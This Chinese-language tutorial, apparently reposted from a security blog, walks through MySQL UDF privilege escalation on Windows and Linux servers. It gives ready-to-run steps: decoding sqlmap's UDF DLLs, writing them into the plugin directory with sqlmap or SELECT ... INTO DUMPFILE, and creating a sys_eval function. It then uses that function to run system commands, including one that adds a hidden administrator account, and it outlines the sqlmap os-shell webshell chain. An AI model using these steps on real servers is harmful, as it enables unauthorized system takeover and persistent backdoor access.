第三方组件提权-Mysql UDF提权

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第三方组件提权-Mysql UDF提权相关的知识,希望对你有一定的参考价值。

mysql UDF提权

UDF

UDF是mysql的一个拓展接口,UDF(Userdefined function)译为用户自定义函数,实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以可以利用UDF创建一个执行命令的函数

UDF提权条件

  • mysql < 5.0,导出路径随意
  • 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • mysql >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\\plugin文件夹下才能创建自定义函数
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限

MySQL >= 5.1

比如当前我们当前已经拿下了一台Winserver2003(32位)服务器的MySQL账密,且存在phpMyAdmin,进行如下操作

使用SQL语句查询MySQL的版本

SELECT VERSION();

数据库版本为5.1.57

show global variables like '%secure_file_priv%';

查询可写目录,在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下表示可以向任意绝对路径写文件

查找动态链接库文件

常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件,可以直接找

  • sqlmap 的 UDF 动态链接库文件位置

    sqlmap根目录/data/udf/mysql
    
    # kali的sqlmap在/usr/share/sqlmap目录
    

    有32位和64位之分,这个dll并不是跟系统位数有关的,而是跟mysql版本有关系

    要注意的是Sqlmap中自带的动态链接库文件为了防止被误杀都经过编码处理过,不能被直接使用,需要使用 sqlmap 自带的解码工具cloak.py 来解码使用

    # 脚本位置
    /usr/share/sqlmap/extra/cloak/
    # 执行
    python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
    # 进行dll_文件的解码,获得dll文件
    
  • Metasploit 的 UDF 动态链接库文件位置

    usr/share/metasploit-framework/data/exploits/mysql
    # kali自带的msf
    

    so文件是Linux系统动态链接库文件,dll文件是Windows系统动态链接库文件

    Metasploit 自带的动态链接库文件无需解码,直接就可以使用,内容和SQLmap解码之后的一样

寻找插件目录

mysql数据库版本 >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\\plugin文件夹下才能创建自定义函数,接下来去找dll文件

使用如下的 SQL 语句来查询MySQL的插件目录

show variables like '%plugin%';

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \\lib\\plugin 文件夹

有一个问题需要注意:利用phpstudy安装的mysql,默认是不存在 \\lib\\plugin 这个文件夹的,如果目标安装的是完整版mysql数据库,是存在的,如果没有这个文件夹后边的操作就无法继续了

创建文件夹(不一定成功)

网上有个说法,利用NTFS ADS流模式突破进而创建文件夹

使用语句查找MySQL安装目录

select @@basedir;

select 'It is dll' into dumpfile 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
 
select 'It is dll' into dumpfile 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib\\\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

这个方法不一定成功,但是如果真的没有\\lib\\plugin还是可以尝试的

写入动态链接库文件

分为以下几种情况

  1. 如果拿到了网站的webshell,可以直接通过webshell管理工具比如蚁剑等,直接找到目录上传dll文件

  2. 存在 SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制(HTTP本身并未对请求长度施加任何硬编码的限制,但浏览器的限制范围为2kb-8kb)所以往往 POST 注入才可以执行这种攻击

    sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll" --file-dest="c:\\\\ZkeysSoft\\\\MySql\\\\MySQL Server 5.1\\\\lib\\\\plugin\\\\udf.dll"
    
  3. 如果没有注入的话,但是通过爆破密码、phpmyadmin漏洞以及通过webshell等手段,可以执行sql语句,也是可以可以操作原生 SQL 语句手工写文件到 plugin 目录下的

    # 直接 SELECT 查询十六进制写入
    SELECT 0xcode INTO DUMPFILE 'c:\\\\ZkeysSoft\\\\MySql\\\\MySQL Server 5.1\\\\lib\\\\plugin\\\\udf.dll';
    
    # 解码十六进制再写入多此一举
    SELECT unhex('0xcode') INTO DUMPFILE 'c:\\\\ZkeysSoft\\\\MySql\\\\MySQL Server 5.1\\\\lib\\\\plugin\\\\udf.dll';
    

    关于十六进制可以直接这这个页面查询到对应的编码:https://www.sqlsec.com/tools/udf.html

    一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:

    SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; 
    
    SELECT
    hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
    
    ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
    

    网友们可能看到这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的

    如果IIS服务,出现无法写入的情况,要添加用户并赋予写入权限

    成功执行查询语句,写入文件

创建自定义函数并调用命令

mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

如果不成功的话刚才也说了是因为dll版本不符,换一个就行了,导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:

mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+

这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:

mysql > select sys_eval('whoami');

如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的

SELECT sys_eval(
'net user ocean1 ocean1 /add & net localgroup administrators ocean1 /add'
)

使用远程桌面连一下

删除自定义函数

mysql > drop function sys_eval;

MySQL的其他版本提权&SQLMap

因为MySQL >= 5.1已经是环境最苛刻的了,低于版本的基本操作方法一致,但不需要指定dll存放\\lib\\plugin目录

SqlMap

  • 常规SQLMAP的--OS-SHELL流程大致为:利用SELECT … INTO OUTFILE … LINES TERMINATED BY上传小马(仅上传功能) -> 利用小马上传Webshell(可使用system、proc_open、shell_exec、passthru、popen、exec执行命令) -> 利用Webshell执行命令(明文参数cmd=whoami)
  • 现在大多数Mysql版本都大于5.1,版本大于5.1后对于提权的条件很苛刻,所以大多数情况下都没办法使用udf进行一个提权

参考文章

https://www.freebuf.com/articles/web/288941.html

https://www.sqlsec.com/2020/11/mysql.html

https://cooltige.com/2020/06/02/Mysql-Udf%E6%8F%90%E6%9D%83/

以上是关于第三方组件提权-Mysql UDF提权的主要内容,如果未能解决你的问题,请参考以下文章

Mysql提权-基于Mysql的UDF提权(Windows系统)1

MySQL提权之udf提权

MySQL提权之udf提权

Mysql提权-基于Mysql的UDF提权(Linux系统)

MySQL提权之udf提权(无webshell的情况)

MySQL提权之udf提权(无webshell的情况)